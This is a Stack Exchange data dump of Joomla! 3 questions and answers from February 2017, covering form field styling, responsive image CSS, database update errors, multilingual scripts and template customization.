  <row Id="19027" PostTypeId="1" CreationDate="2017-02-02T14:16:38.837" Score="0" ViewCount="413" Body="&lt;p&gt;Is there anyway to customize how a standard Joomla! field type displays in the front end? I have created a form and every field looks fine EXCEPT the &quot;tag&quot; field type which for some reason is styling differently than the other forms (I've attached an image below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8M16S.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8M16S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the form.xml the &quot;tag&quot; field is written like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;tags&quot; type=&quot;tag&quot; label=&quot;JTAG&quot; description=&quot;JTAG_DESC&quot; class=&quot;inputbox&quot; multiple=&quot;true&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I change the type from &quot;tag&quot; to anything else the field looks fine but doesn't function correctly (I am using ajax to lookup tags). There is also an inline bit of CSS that renders that field to &quot;width: 42px&quot; and I have looked everywhere and cannot find where that inline code is coming from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell: where does Joomla! get the code to render/stylize the &quot;tag&quot; type? I have looked every where and can't seem to find an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="9629" LastActivityDate="2017-11-30T02:54:01.650" Title="Customization Of Joomla! Form Fields In Frontend (Tag Field Specifically)" Tags="|css|tags|form-fields-types|custom-field|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19028" PostTypeId="1" AcceptedAnswerId="19064" CreationDate="2017-02-02T17:34:04.017" Score="2" ViewCount="447" Body="&lt;ul&gt;&#xA;&lt;li&gt;Joomla 3.6.5&lt;/li&gt;&#xA;&lt;li&gt;Helix3 Template &lt;a href=&quot;http://demo.joomshaper.com/?template=helix3&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The layout of the template is as follows;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; - header |&#xA; - left sidebar | main content | &#xA; - footer |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I view my template on a mobile device (devtools) the &lt;code&gt;left sidebar&lt;/code&gt; stacks first, and the &lt;code&gt;main content&lt;/code&gt; is below it. How can I reverse this? I'd like the &lt;code&gt;main content&lt;/code&gt; to display first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see any template configuration settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2017-02-03T12:39:29.410" LastActivityDate="2017-02-06T10:28:23.250" Title="Mobile Layout Configuration" Tags="|joomla-3.x|templates|helix3|responsive-web-design|mobile-web-design|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19029" PostTypeId="1" AcceptedAnswerId="19031" CreationDate="2017-02-02T21:30:19.963" Score="1" ViewCount="1157" Body="&lt;p&gt;I am asking about this again because the solution from &lt;a href=&quot;https://joomla.stackexchange.com/questions/18274/joomla-v3-6-article-uploaded-image-stretches-to-max&quot;&gt;joomla v3.6 article - uploaded image stretches to max&lt;/a&gt; does not seem to work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I have is the article images keeping their size when I view the website on my smart phone device, whereas on my desktop monitor, their width stretch fully, resulting in humongous, degraded images in my articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone suggest a fix for me? I have spent hours on this but still cannot resolve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0hZ7d.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0hZ7d.png&quot; alt=&quot;Image issue example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following are codes(only the ones that refer to img tag)have been extracted from the template.CSS file in the CSS folder from the website Joomla back-end.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.features-list .feature-row div:first-child.feature-img img {&#xA;  float: left;&#xA;}&#xA;.features-list .feature-row div:last-child.feature-img img {&#xA;  float: right;&#xA;}&#xA;article-intro img,&#xA;.article-content img {&#xA;  display: block;&#xA;  width: 100% \9;&#xA;  max-width: 100%;&#xA;  height: auto;&#xA;}&#xA;.article-intro img[align=left],&#xA;.article-content img[align=left],&#xA;.article-intro .img_caption.left,&#xA;.article-content .img_caption.left,&#xA;.article-intro .pull-left.item-image,&#xA;.article-content .pull-left.item-image {&#xA;  margin: 0 30px 20px 0;&#xA;}&#xA;.article-intro img[align=right],&#xA;.article-content img[align=right],&#xA;.article-intro .img_caption.right,&#xA;.article-content .img_caption.right,&#xA;.article-intro .pull-right.item-image,&#xA;.article-content .pull-right.item-image {&#xA;  margin: 0 0 20px 30px;&#xA;}&#xA;@media (max-width: 768px) {&#xA;  .article-content iframe {&#xA;    width: 100% !important;&#xA;    height: auto;&#xA;  }&#xA;}&#xA;.img-intro-none,&#xA;.img-intro-left,&#xA;.img-intro-right,&#xA;.img-fulltext-none,&#xA;.img-fulltext-left,&#xA;.img-fulltext-right,&#xA;.img_caption {&#xA;  position: relative;&#xA;}&#xA;.img-intro-none,&#xA;.img-intro-left,&#xA;.img-intro-right,&#xA;.img-fulltext-none,&#xA;.img-fulltext-left,&#xA;.img-fulltext-right,&#xA;.img_caption {&#xA;  margin-bottom: 20px;&#xA;  max-width: 100%;&#xA;}&#xA;.img-fulltext-left {&#xA;  float: left;&#xA;  margin-right: 20px;&#xA;}&#xA;.img-fulltext-right {&#xA;  float: right;&#xA;  margin-left: 20px;&#xA;}&#xA;.img-intro-none img,&#xA;.img-intro-left img,&#xA;.img-intro-right img,&#xA;.img-fulltext-none img,&#xA;.img-fulltext-left img,&#xA;.img-fulltext-right img {&#xA;  margin: 0;&#xA;}&#xA;.img_caption img {&#xA;  margin-bottom: 1px !important;&#xA;}&#xA;.img_caption p.img_caption {&#xA;  background: #eeeeee;&#xA;  color: #555555;&#xA;  font-size: 12px;&#xA;  width: 100%;&#xA;  margin: 0;&#xA;  padding: 5px;&#xA;  text-align: center;&#xA;  clear: both;&#xA;}&#xA;@media screen and (max-width: 767px) {&#xA;  article img[align=left],&#xA;  .img_caption.left,&#xA;  article img[align=right],&#xA;  .img_caption.right,&#xA;  .img-fulltext-left,&#xA;  .img-fulltext-right {&#xA;    float: none !important;&#xA;    margin-left: 0;&#xA;    margin-right: 0;&#xA;    width: 100% !important;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2017-02-02T23:21:02.227" Title="How to prevent Article images width being stretched to 100%" Tags="|joomla-3.x|articles|images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19030" PostTypeId="2" ParentId="19027" CreationDate="2017-02-02T22:11:59.637" Score="1" Body="&lt;p&gt;Ok I figured it out! Rather than delete this question I'll post the solution in case anyone else has this problem in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it turns out the inline style is actually coming from the site's javascript. I am sure there is a good reason for this but if you ask me it's an incredible pain in the ass to have that code deciding your style for the field. I am not a javascript expert by any means so if anyone has any comments on the following please do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, open up &quot;/media/jui/js/chosen.jquery.min.js&quot; and change the following lines of code (after UN-minifiying):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 193:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;style: &quot;width: &quot; + this.container_width() + &quot;;&quot;,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;style: &quot;width: &amp;lt;YOUR_DESIRED_WIDTH&amp;gt;&quot;,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and on line 406 delete:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;u = t.width() + 25,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;width: u + &quot;px&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;width: &quot;&amp;lt;YOUR_DESIRED_WIDTH&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After a bit of CSS styling (you'll need to adjust chosen.css in &quot;/media/jui/css/&quot; since this field is not governed by the same style sheet&quot;) and you're good to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/58DkA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/58DkA.png&quot; alt=&quot;Fixed Example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9629" LastEditorUserId="9629" LastEditDate="2017-02-02T22:20:59.270" LastActivityDate="2017-02-02T22:20:59.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19031" PostTypeId="2" ParentId="19029" CreationDate="2017-02-02T23:21:02.227" Score="3" Body="&lt;p&gt;Normally you won't find good answers that are specific to the template you use. All templates are different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I visited your page and in your case you have this in your template CSS (line 3891 in &lt;a href=&quot;http://elitemaths.com.au/templates/elitemaths/local/css/themes/elitemaths/template.css&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://elitemaths.com.au/templates/elitemaths/local/css/themes/elitemaths/template.css&lt;/a&gt;):&#xA;.article-intro img, .article-content img, .article-image-full img {&#xA;    width: 100%;&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the &lt;strong&gt;100%&lt;/strong&gt; part to &lt;strong&gt;initial&lt;/strong&gt; and that should do it for you.&lt;/p&gt;&#xA;" OwnerUserId="5348" LastActivityDate="2017-02-02T23:21:02.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19032" PostTypeId="1" CreationDate="2017-02-03T02:24:26.650" Score="2" ViewCount="695" Body="&lt;p&gt;clicking joomla update button in backend end gives this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1054 Unknown column 'a.extra_query' in 'field list'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SQL=&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT a.update_site_id, a.type, a.location, a.last_check_timestamp, a.extra_query`&#xA;FROM `#__update_sites` AS `a`&#xA;INNER JOIN #__update_sites_extensions AS b ON a.update_site_id = b.update_site_id&#xA;WHERE a.enabled = 1 AND b.extension_id = 700&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;clicking to fix the 28 errors listed on database button results in this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1054 Unknown column 'title_alias' in '#__content'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SQL=&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `#__content`&#xA;CHANGE `title_alias` `title_alias` VARCHAR( 255 ) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL DEFAULT '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9631" LastEditorUserId="12352" LastEditDate="2019-02-21T10:55:36.207" LastActivityDate="2019-02-21T10:55:36.207" Title="Update from 2.5.28 to 3.5.1 then to 3.6 on PHP 5.6 everything works except joomla update or database fix cause these errors" Tags="|joomla-3.x|php|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19033" PostTypeId="2" ParentId="19025" CreationDate="2017-02-03T04:13:46.430" Score="1" Body="&lt;p&gt;This can help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/16206662/how-to-use-cookies-from-a-component&quot;&gt;https://stackoverflow.com/questions/16206662/how-to-use-cookies-from-a-component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use setvar and getString methods&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRequest::setVar($var, $value, 'cookie');&#xA;JRequest::getString($var, $default, 'cookie')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.Input.Cookie.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.Input.Cookie.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.tormix.com/joomla/set-and-get-cookies-in-joomla-cms/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blog.tormix.com/joomla/set-and-get-cookies-in-joomla-cms/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9327" LastEditorUserId="126" LastEditDate="2017-12-12T11:53:37.890" LastActivityDate="2017-12-12T11:53:37.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19034" PostTypeId="2" ParentId="18970" CreationDate="2017-02-03T07:28:31.737" Score="3" Body="&lt;p&gt;I ran into the same issue with a couple of Joomla instances. Did you export the local database and import in on your remote server using phpMyAdmin?&#xA;There's a bug in phpmyadminversion 4.6.5.1 that places /n/r incorrect in the data when doing an export/import.&#xA;Try updating to phpMyAdmin to at least 4.6.5.2 where this issue was fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answer thanks to Isaan Bennetch: &lt;a href=&quot;https://stackoverflow.com/questions/40911643/phpmyadmin-export-import-issue-with-line-breaks/40960473#40960473&quot;&gt;https://stackoverflow.com/questions/40911643/phpmyadmin-export-import-issue-with-line-breaks/40960473#40960473&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="265" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2017-02-03T07:42:30.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19035" PostTypeId="1" AcceptedAnswerId="19056" CreationDate="2017-02-03T07:32:45.773" Score="2" ViewCount="590" Body="&lt;p&gt;I'm developing a component in Joomla 3 (I'm quite new to it). Because the database schema of the component is quite big, I think it's logical to use some ORM for DB abstraction, but I can't get up-to-date information for integrating Doctrine in Joomla.&lt;/p&gt;&#xA;&lt;p&gt;The resources I've found:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.siimviikman.com/2010/03/01/building-joomla-component-with-doctrine-part-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.siimviikman.com/2010/03/01/building-joomla-component-with-doctrine-part-1/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/jooctrine/jooctrine&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/jooctrine/jooctrine&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Since these are really old posts, I'm curious if anyone has tried in real world and if it is worth the effort.&lt;/p&gt;&#xA;&lt;p&gt;Also: &lt;a href=&quot;https://magazine.joomla.org/all-issues/issue-may-2011/using-doctrine-ORM-in-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://magazine.joomla.org/all-issues/issue-may-2011/using-doctrine-ORM-in-joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9633" LastEditorUserId="12352" LastEditDate="2021-05-07T00:08:48.370" LastActivityDate="2021-05-07T00:08:53.867" Title="Use Doctrine 2 ORM in Joomla 3.x when developing a custom component" Tags="|joomla-3.x|component|custom-component|doctrine|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19036" PostTypeId="1" AcceptedAnswerId="19039" CreationDate="2017-02-03T08:04:48.503" Score="0" ViewCount="303" Body="&lt;p&gt;I own a website called &lt;a href=&quot;http://www.elitemaths.com.au&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.elitemaths.com.au&lt;/a&gt;.&#xA;The issue I am having is the with the template.CSS file which seems to make all images to stretch because it has the following syntax&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.article-intro img,.article-content img,.article-image-full img {&#xA;width: 100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While I need to have this style apply on the main pages, I do not want it to work on all the articles I created under a certain category. The reason for this is because in these articles, I insert a lot of small images that I want to have in their actual size. These articles are found in the following link&#xA;&lt;a href=&quot;http://www.elitemaths.com.au/vce-study-materials/10-methods34/93-methods-3-4-version-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.elitemaths.com.au/vce-study-materials/10-methods34/93-methods-3-4-version-2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is what I want to implement. Can you think of the simplest way to implement conditional style based on article type? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* I want to implement to the main menu page articles of the website */&#xA;/* including HOME, STUDY MATERIALS (only main page), SERVICES, ABOUT US and LOGIN*/&#xA;.article-intro img,.article-content img,.article-image-full img {&#xA;width: 100%;&#xA;}&#xA;&#xA;/* I only want to apply to the articles that sit under the STUDY MATERIALS main menu*/&#xA;.article-intro img,.article-content img,.article-image-full img {&#xA; initial;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8777" LastEditorUserId="8777" LastEditDate="2017-02-03T08:28:12.070" LastActivityDate="2017-02-03T13:36:26.643" Title="How to implement conditional style in CSS for Joomla articles" Tags="|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19037" PostTypeId="1" AcceptedAnswerId="19054" CreationDate="2017-02-03T09:05:36.423" Score="1" ViewCount="94" Body="&lt;p&gt;I want to have a page listing each sub-category in a category but with each subcategory showing n number of caracters from the most recent article in each sub-category. The layout I am after is something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main category Title&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sub-category 1 - First x number of characters from most recent article&lt;/li&gt;&#xA;&lt;li&gt;Sub-category 2 - First x number of characters from most recent article&lt;/li&gt;&#xA;&lt;li&gt;Sub-category 3 - First x number of characters from most recent article&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It would be OK for the first x number of characters to go below each sub-category name. It would be acceptable to use read-more and just have what's above showing as I can achieve x number of characters like that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want &lt;strong&gt;all&lt;/strong&gt; the sub-categories listed like this and I don't want a list of sub-categories repeated again below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried menu item Category list and Category blog but neither seems to show text of articles in sub-category.&lt;/p&gt;&#xA;" OwnerUserId="9286" LastActivityDate="2017-02-07T14:42:03.817" Title="How can I create a list of subcategories in a category showing 1 article for each subcategory?" Tags="|category|subcategories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19038" PostTypeId="2" ParentId="19032" CreationDate="2017-02-03T09:17:38.400" Score="3" Body="&lt;p&gt;You have an inconsistent database state. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla! is trying to run the instructions in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/components/com_admin/sql/updates/mysql/3.0.0.sql &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which are designed to update your database structure from 2.5.28 to 3.0.0, and it's trying to drop a column that is not there: most likely, the script was run already and didn't complete for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might try to understand what went wrong from the log/install errors, but you'd still have to fix your database structure manually. This is very painful, takes hours, and any human error might compromise the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The fast and easy way: modify the script to add error tolerance.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;: while I have already done this previously, this is not an officially approved method and is inherently dangerous. Make a db backup first, and keep it until you have confirmed everything works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The SQL &lt;code&gt;IGNORE&lt;/code&gt; keyword.&lt;/strong&gt;&#xA;Simple as that. &lt;strong&gt;Edit your 3.0.0.sql file&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;insert IGNORE as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ALTER TABLE   =&amp;gt;   ALTER IGNORE TABLE&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;UPDATE        =&amp;gt;   UPDATE IGNORE&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;INSERT        =&amp;gt;   INSERT IGNORE&lt;/code&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;based on your current database content, you might find duplicates that are safe to delete at the end of the following tables:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;#__extensions&lt;/code&gt; (the templates isis, protostar, beez3 may be duplicated)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;#__template_styles&lt;/code&gt; (the styles for the templates isis, protostar, beez3 may be duplicated)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Good luck! If it fails, check the new errors you get, and comment here we might need to fix some other issues.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2017-02-03T09:17:38.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19039" PostTypeId="2" ParentId="19036" CreationDate="2017-02-03T10:52:57.070" Score="2" Body="&lt;p&gt;If you're using modules to place the articles on the pages, then you should set a CSS class with the Module Class Suffix under the advanced tab. Then you can target the articles within the module like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.YOUR_MODULE_CLASS SUFFIX .article-intro img, .YOUR_MODULE_CLASS SUFFIX .article-content img&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you'll have to alter the html output for your articles in a template override like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;category-&amp;lt;?php echo $this-&amp;gt;category-&amp;gt;id; ?&amp;gt;&quot;&amp;gt;&#xA;....&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will give you a way to target CSS per category. You can find the files to override in the HTML folder in your template in com_content =&gt; articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this link for &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=406991&quot; rel=&quot;nofollow noreferrer&quot;&gt;reference&lt;/a&gt;. And more on &lt;a href=&quot;https://css-tricks.com/multiple-class-id-selectors/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CSS selectors&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From just eyeballing your site, it looks like you use modules on the front page and not on the article pages, so you could set your defaults to the css you want and just apply the width 100% to just the stuff in the front page modules. You could also hard code the CSS directly into the article images themselves, but depending on how you want to do it, methods one and two are more fool proof. &lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="8870" LastEditDate="2017-02-03T13:36:26.643" LastActivityDate="2017-02-03T13:36:26.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19040" PostTypeId="2" ParentId="17799" CreationDate="2017-02-03T11:19:05.227" Score="0" Body="&lt;p&gt;Go to &quot;Helix menu Options&quot; Tab and add the class there in &quot;Custom CSS Class&quot;&#xA;It gives the class to &quot;li&quot; so it is better than the native Joomla class.&lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2017-02-03T11:19:05.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19041" PostTypeId="1" AcceptedAnswerId="19042" CreationDate="2017-02-03T11:35:24.553" Score="1" ViewCount="4529" Body="&lt;p&gt;So, I'm trying to modify the Facebook Devkit script that is in my index.php to change depending the on the website's active language, but I'm not sure how to access the active language variable. I have tried both &lt;code&gt;var lang =&quot;&amp;lt;?php echo $lang; ?&amp;gt;&quot;;&lt;/code&gt;which produces empty quotes, and &lt;code&gt;var lang = document.documentElement.lang&lt;/code&gt; just get me the browser language, not the active language on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could do this with a language specific template and just change the language value manually, but I don't foresee doing any other language specific stuff at the style or template level, so I think a quick regex fix would be better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;If anyone is interested here's the code I used. Not pretty, but it works for my use case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;(function(d, s, id) {&#xA;  var lang = &quot;&amp;lt;?php echo JFactory::getLanguage()-&amp;gt;getTag();?&amp;gt;&quot;;  &#xA;  var js, fjs = d.getElementsByTagName(s)[0];&#xA;  if (d.getElementById(id)) return;&#xA;  js = d.createElement(s); js.id = id;&#xA;  if (lang !=&quot;en-GB&quot;){&#xA;  js.src = &quot;//connect.facebook.net/de_DE/sdk.js#xfbml=1&amp;amp;version=v2.8&quot;;&#xA;  } else {&#xA;  js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;amp;version=v2.8&quot;;   &#xA;  }&#xA;&#xA;  fjs.parentNode.insertBefore(js, fjs);&#xA;}(document, 'script', 'facebook-jssdk'));&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="8870" LastEditDate="2017-02-03T12:51:50.083" LastActivityDate="2017-02-03T12:51:50.083" Title="How to get the active language variable in javascript on a multilingual site?" Tags="|javascript|joomla-3.6|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19042" PostTypeId="2" ParentId="19041" CreationDate="2017-02-03T11:41:04.453" Score="1" Body="&lt;p&gt;&lt;code&gt;$lang&lt;/code&gt;, which I assume in your case derives from &lt;code&gt;$lang = JFactory::getLanguage();&lt;/code&gt; will give you the entire language object. From this object, you can then access one of it's properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to get the language tag, you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    var lang = '&amp;lt;?php echo JFactory::getLanguage()-&amp;gt;getTag(); ?&amp;gt;';&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var lang = 'en-GB';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-02-03T11:41:04.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19043" PostTypeId="1" AcceptedAnswerId="19067" CreationDate="2017-02-03T13:59:52.807" Score="1" ViewCount="438" Body="&lt;p&gt;I have a multilingual &lt;strong&gt;Joomla 3.6&lt;/strong&gt; Site, with English and German using &lt;strong&gt;MailChimp&lt;/strong&gt; and the &lt;strong&gt;MailChimp Signup Module&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue that I have is that while I can manually translate the title and texts via the &lt;em&gt;module UI&lt;/em&gt;, changing the text for the form fields seem to be more complicated. There should be translations for all of the fields, but they don't seem to get applied. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I approach this?&lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="9510" LastEditDate="2017-02-07T10:29:52.527" LastActivityDate="2017-02-07T10:29:52.527" Title="How to change the language on mailchimp signup module input fields?" Tags="|joomla-3.6|emails|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
